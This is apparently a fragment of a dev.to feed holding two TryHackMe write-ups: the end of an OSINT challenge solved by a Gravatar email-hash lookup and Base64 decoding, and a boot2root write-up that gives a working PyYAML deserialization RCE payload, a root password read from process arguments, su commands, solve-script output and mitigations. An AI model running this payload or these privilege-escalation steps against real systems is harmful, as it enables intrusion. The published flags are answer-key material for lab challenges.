    &lt;/span&gt;&lt;span class="nl"&gt;"aboutMe"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Funny thing about email hashes, they follow you places you didn't expect. Glad you found the right corner of the internet! Here is your prize: VEhNe1MzY3JlVF9QcjBmaWwzX0g0c19iMzNuX0lkZW50MWZpM2R9"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"currentLocation"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Byte Lotus Hotel"&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  **Step 5: Identify the Encoding 🧬
&lt;/h2&gt;

&lt;p&gt;**&lt;br&gt;
The "prize" string is clearly &lt;strong&gt;Base64 encoded&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;VEhNe1MzY3JlVF9QcjBmaWwzX0g0c19iMzNuX0lkZW50MWZpM2R9
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  How to recognize Base64:
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;✅ Contains only alphanumeric characters, &lt;code&gt;+&lt;/code&gt;, &lt;code&gt;/&lt;/code&gt;, and &lt;code&gt;=&lt;/code&gt; (padding)&lt;/li&gt;
&lt;li&gt;✅ The character set (uppercase, lowercase, digits) is typical of Base64&lt;/li&gt;
&lt;li&gt;✅ The challenge tags include "Hashing" — pointing to encoding/decoding&lt;/li&gt;
&lt;li&gt;✅ Starts with &lt;code&gt;VEhN&lt;/code&gt; which is a known Base64 prefix for &lt;code&gt;THM&lt;/code&gt; (TryHackMe flags)&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Quick Reference: Common THM Flag Base64 Prefixes
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Base64 Start&lt;/th&gt;
&lt;th&gt;Decoded&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;VEhN&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;THM&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;VEhNe&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;THM{&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  &lt;strong&gt;Step 6: Decode the Flag 🚩&lt;/strong&gt;
&lt;/h2&gt;

&lt;h3&gt;
  
  
  PowerShell
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$encoded&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'VEhNe1MzY3JlVF9QcjBmaWwzX0g0c19iMzNuX0lkZW50MWZpM2R9'&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nv"&gt;$decoded&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;System.Text.Encoding&lt;/span&gt;&lt;span class="p"&gt;]::&lt;/span&gt;&lt;span class="n"&gt;UTF8.GetString&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="n"&gt;System.Convert&lt;/span&gt;&lt;span class="p"&gt;]::&lt;/span&gt;&lt;span class="n"&gt;FromBase64String&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$encoded&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Write-Output&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Flag: &lt;/span&gt;&lt;span class="nv"&gt;$decoded&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Python
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;base64&lt;/span&gt;
&lt;span class="n"&gt;encoded&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;VEhNe1MzY3JlVF9QcjBmaWwzX0g0c19iMzNuX0lkZW50MWZpM2R9&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;
&lt;span class="n"&gt;decoded&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;base64&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;b64decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;encoded&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;utf-8&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Flag: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;decoded&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Linux/Bash
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'VEhNe1MzY3JlVF9QcjBmaWwzX0g0c19iMzNuX0lkZW50MWZpM2R9'&lt;/span&gt; | &lt;span class="nb"&gt;base64&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  CyberChef
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;Go to &lt;a href="https://gchq.github.io/CyberChef/" rel="noopener noreferrer"&gt;CyberChef&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Search for "From Base64" in Operations&lt;/li&gt;
&lt;li&gt;Input: &lt;code&gt;VEhNe1MzY3JlVF9QcjBmaWwzX0g0c19iMzNuX0lkZW50MWZpM2R9&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Output: &lt;code&gt;THM{S3creT_Pr0fil3_H4s_b33n_Ident1fi3d}&lt;/code&gt;
&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  🏆 THE FLAG
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;╔══════════════════════════════════════════════════════╗
║                                                      ║
║   THM{S3creT_Pr0fil3_H4s_b33n_Ident1fi3d}           ║
║                                                      ║
╚══════════════════════════════════════════════════════╝
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Decoded meaning:&lt;/strong&gt; &lt;em&gt;"Secret Profile Has Been Identified"&lt;/em&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  🧠 Skills &amp;amp; Concepts Covered
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1. OSINT (Open Source Intelligence)
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Extracting actionable intelligence from casual conversation&lt;/li&gt;
&lt;li&gt;Identifying platform-specific clues from vague descriptions&lt;/li&gt;
&lt;li&gt;Using publicly available APIs to retrieve hidden profiles&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  2. Social Media Investigation
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Understanding how Gravatar works as a profile aggregation service&lt;/li&gt;
&lt;li&gt;Knowing that "wiped" accounts may still have data accessible via hash lookups&lt;/li&gt;
&lt;li&gt;Recognizing platform descriptions from feature-based clues&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  3. Hashing &amp;amp; Encoding
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;MD5 Hashing&lt;/strong&gt; — Converting an email to its MD5 hash for Gravatar lookup&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Base64 Decoding&lt;/strong&gt; — Recognizing and decoding Base64-encoded strings&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  🔗 Useful Links &amp;amp; Tools
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Tool&lt;/th&gt;
&lt;th&gt;Purpose&lt;/th&gt;
&lt;th&gt;URL&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Gravatar&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Profile lookup via email hash&lt;/td&gt;
&lt;td&gt;&lt;a href="https://gravatar.com" rel="noopener noreferrer"&gt;https://gravatar.com&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CyberChef&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Encoding/Decoding Swiss Army Knife&lt;/td&gt;
&lt;td&gt;&lt;a href="https://gchq.github.io/CyberChef/" rel="noopener noreferrer"&gt;https://gchq.github.io/CyberChef/&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;MD5 Online&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Quick MD5 hash generator&lt;/td&gt;
&lt;td&gt;&lt;a href="https://www.md5online.org/" rel="noopener noreferrer"&gt;https://www.md5online.org/&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Base64 Decode&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Online Base64 decoder&lt;/td&gt;
&lt;td&gt;&lt;a href="https://www.base64decode.org/" rel="noopener noreferrer"&gt;https://www.base64decode.org/&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  📋 Quick Reference — Complete Attack Chain
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌──────────────────────────────────────────────────────────────┐
│                    ATTACK CHAIN SUMMARY                      │
├──────────────────────────────────────────────────────────────┤
│                                                              │
│  📸 Screenshot → Discord conversation between Ponzi &amp;amp; Lambo  │
│         │                                                    │
│         ▼                                                    │
│  🔍 Clue 1: Email = lambobytelotushotel@gmail.com            │
│  🔍 Clue 2: Tool starts with "G" = Gravatar                 │
│         │                                                    │
│         ▼                                                    │
│  🔐 MD5("lambobytelotushotel@gmail.com")                     │
│     = d4a5fc5d3128890778667e24617d7cc0                       │
│         │                                                    │
│         ▼                                                    │
│  🌐 https://gravatar.com/d4a5fc5d312889...                   │
│     → Profile found! aboutMe contains Base64 string          │
│         │                                                    │
│         ▼                                                    │
│  🧬 Base64 Decode:                                           │
│     VEhNe1MzY3JlVF9QcjBmaWwzX0g0c19iMzNuX0lkZW50MWZpM2R9   │
│         │                                                    │
│         ▼                                                    │
│  🚩 FLAG: THM{S3creT_Pr0fil3_H4s_b33n_Ident1fi3d}           │
│                                                              │
└──────────────────────────────────────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  **💡 Key Takeaways
&lt;/h2&gt;

&lt;p&gt;**&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;People reveal more than they think&lt;/strong&gt; — Even in casual chat, Lambo shared enough info (email + tool description) to find their "hidden" profile.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Gravatar profiles persist&lt;/strong&gt; — Even if you "wipe everything," the email hash still resolves if the account exists. Gravatar profiles are often overlooked during OPSEC cleanup.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;MD5 hashes are deterministic&lt;/strong&gt; — Anyone who knows your email can compute the hash and check your Gravatar profile. This is by design, not a bug.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Always check for encoding&lt;/strong&gt; — Flags and secrets are often hidden in plain sight using common encoding schemes like Base64.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Cross-platform OSINT&lt;/strong&gt; — A single email address can be the key to unlocking profiles across multiple platforms (Gravatar, Have I Been Pwned, social media lookups, etc.)&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;




&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fiezkjuocuns50rsmbo9t.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fiezkjuocuns50rsmbo9t.png" alt=" " width="800" height="1686"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>osint</category>
      <category>challenge</category>
      <category>security</category>
    </item>
    <item>
      <title>[TryHackMe Writeup] Beach Bar</title>
      <dc:creator>Wahiduddin Samani</dc:creator>
      <pubDate>Sat, 01 Aug 2026 08:02:03 +0000</pubDate>
      <link>https://dev.to/w1hi4/tryhackme-writeup-beach-bar-1oga</link>
      <guid>https://dev.to/w1hi4/tryhackme-writeup-beach-bar-1oga</guid>
      <description>&lt;h1&gt;
  
  
  &lt;strong&gt;Beach Bar — Boot2Root (YAML Deserialization RCE + Credential Reuse)&lt;/strong&gt;
&lt;/h1&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Target&lt;/td&gt;
&lt;td&gt;&lt;code&gt;http://MACHINE_IP&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Platform&lt;/td&gt;
&lt;td&gt;TryHackMe — Hacker Holidays · The Byte Lotus Hotel&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Category&lt;/td&gt;
&lt;td&gt;Boot2Root&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Difficulty&lt;/td&gt;
&lt;td&gt;Easy&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;User flag&lt;/td&gt;
&lt;td&gt;&lt;code&gt;THM{y4ml_pl4yl1st_pwns_th3_b34ch}&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Root flag&lt;/td&gt;
&lt;td&gt;&lt;code&gt;THM{cr3d3nt14l_r3us3_4t_th3_b34ch_b4r}&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  &lt;strong&gt;Attack Chain (Summary)&lt;/strong&gt;
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;dj/dj leaked in HTML comment
        │
        ▼
/login → /import (unsafe PyYAML yaml.load)
        │
        ▼
YAML deserialization RCE  →  shell as bartender
        │
        ▼
/opt/beach-bar/jukeboxd/jukeboxd.py --stream-pass "SunsetSpritz2024!"  (visible in ps aux, runs as root)
        │
        ▼
echo 'SunsetSpritz2024!' | su root -c 'cat /root/root.txt'
        │
        ▼
ROOT SHELL → both flags
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Step-by-Step
&lt;/h2&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;Step 1 — Recon&lt;/strong&gt;
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;curl.exe&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-s&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;http://MACHINE_IP&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Gunicorn (Flask) app on port 80 redirecting to &lt;code&gt;/login&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;Step 2 — Source Code Review: Leaked Credentials&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;Viewing the login page HTML source revealed a developer comment:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="c"&gt;&amp;lt;!--
    staff note: the demo DJ login is still enabled for the soft opening.
    dj / dj  -- swap this before the season starts (ticket BAR-7)
--&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Login:&lt;/strong&gt; &lt;code&gt;dj&lt;/code&gt; / &lt;code&gt;dj&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;Step 3 — Dashboard Enumeration&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;After login, &lt;code&gt;/dashboard&lt;/code&gt; exposed two features:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/import&lt;/code&gt; — upload or paste a YAML playlist&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/export&lt;/code&gt; — download the current playlist as YAML&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;Step 4 — PyYAML Deserialization RCE&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;The &lt;code&gt;/import&lt;/code&gt; endpoint deserializes the uploaded playlist with an unsafe loader:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;parsed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;yaml&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;load&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;content&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Loader&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;yaml&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Loader&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;yaml.Loader&lt;/code&gt; can instantiate arbitrary Python objects — classic &lt;strong&gt;insecure deserialization&lt;/strong&gt; → &lt;strong&gt;RCE&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Payload (uploaded as a &lt;code&gt;.yml&lt;/code&gt; file):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="kt"&gt;!!python/object/apply:subprocess.check_output&lt;/span&gt;
&lt;span class="na"&gt;args&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;id"&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt;
&lt;span class="na"&gt;kwds&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;{&lt;/span&gt;&lt;span class="nv"&gt;shell&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="nv"&gt;true&lt;/span&gt;&lt;span class="pi"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Response: &lt;code&gt;uid=1001(bartender) gid=1001(bartender) groups=1001(bartender)&lt;/code&gt; — command execution as &lt;strong&gt;bartender&lt;/strong&gt;.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Payload quirks (important when crafting commands):&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Shell redirections (&lt;code&gt;&amp;gt;&lt;/code&gt;), &lt;code&gt;2&amp;gt;&amp;amp;1&lt;/code&gt;, and backticks make &lt;code&gt;check_output&lt;/code&gt; return non-zero and the output is lost.&lt;/li&gt;
&lt;li&gt;Use &lt;code&gt;|| echo fallback&lt;/code&gt; to keep exit status 0 and always get output back.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;su&lt;/code&gt; commands must be single-quoted: &lt;code&gt;echo 'pass' | su root -c 'cat /root/root.txt'&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Uploading the payload as a multipart &lt;code&gt;playlist_file&lt;/code&gt; avoids YAML string-escaping mangling.&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;Step 5 — User Flag&lt;/strong&gt;
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /home/bartender/user.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;User flag:&lt;/strong&gt; &lt;code&gt;THM{y4ml_pl4yl1st_pwns_th3_b34ch}&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;Step 6 — Privilege Escalation Recon&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;Process listing exposed a root daemon leaking its secret in the process arguments:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;root  610  /opt/beach-bar/venv/bin/python /opt/beach-bar/jukeboxd/jukeboxd.py --stream-pass "SunsetSpritz2024!" --bitrate 320k
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;jukeboxd.service&lt;/code&gt; runs as &lt;strong&gt;root&lt;/strong&gt; and its &lt;code&gt;--stream-pass&lt;/code&gt; is visible to any user via &lt;code&gt;ps aux&lt;/code&gt; (the service file itself is root-owned mode 640, so &lt;code&gt;cat&lt;/code&gt; was denied — &lt;code&gt;ps&lt;/code&gt; leaks it anyway).&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;Step 7 — Root Flag (Credential Reuse)&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;The stream password is reused as the root account password:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'SunsetSpritz2024!'&lt;/span&gt; | su root &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s1"&gt;'cat /root/root.txt'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Root flag:&lt;/strong&gt; &lt;code&gt;THM{cr3d3nt14l_r3us3_4t_th3_b34ch_b4r}&lt;/code&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  &lt;strong&gt;Automation&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;solve_beachbar.py&lt;/code&gt; performs the entire chain automatically:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;python&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;solve_beachbar.py&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;http://MACHINE_IP&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[+] Step 1: Login as dj/dj
    Logged in as dj.
[+] Step 2: Verify YAML RCE
    b'uid=1001(bartender) gid=1001(bartender) groups=1001(bartender)\n'
[+] Step 3: Read user flag
    Found at /home/bartender/user.txt
    USER FLAG: THM{y4ml_pl4yl1st_pwns_th3_b34ch}
[+] Step 4: Extract --stream-pass from process list
    Stream pass (ps aux): SunsetSpritz2024!
[+] Step 5: su root and read root flag
    Password worked: SunsetSpritz2024!
    ROOT FLAG: THM{cr3d3nt14l_r3us3_4t_th3_b34ch_b4r}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It was verified with the fallback password deliberately corrupted — the script still solved the room using only the password it extracted from &lt;code&gt;ps aux&lt;/code&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  &lt;strong&gt;Vulnerabilities&lt;/strong&gt;
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Insecure PyYAML deserialization&lt;/strong&gt; — &lt;code&gt;yaml.load&lt;/code&gt; with &lt;code&gt;yaml.Loader&lt;/code&gt; allows arbitrary object construction → RCE as &lt;code&gt;bartender&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Secret exposure in process arguments&lt;/strong&gt; — &lt;code&gt;--stream-pass&lt;/code&gt; readable by any local user via &lt;code&gt;ps aux&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Credential reuse&lt;/strong&gt; — the streaming password is the root password.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Mitigations
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Issue&lt;/th&gt;
&lt;th&gt;Fix&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Unsafe YAML&lt;/td&gt;
&lt;td&gt;Use &lt;code&gt;yaml.safe_load&lt;/code&gt; (or a JSON schema validator) — never &lt;code&gt;yaml.Loader&lt;/code&gt; on untrusted input&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Secret in argv&lt;/td&gt;
&lt;td&gt;Pass secrets via environment files / secret manager, not CLI arguments&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Reused password&lt;/td&gt;
&lt;td&gt;Unique credentials per service; rotate and monitor reuse&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Hardcoded creds in HTML&lt;/td&gt;
&lt;td&gt;Remove demo accounts and dev notes from production source&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Tools Used
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;curl.exe&lt;/code&gt; — HTTP requests, login, multipart file upload&lt;/li&gt;
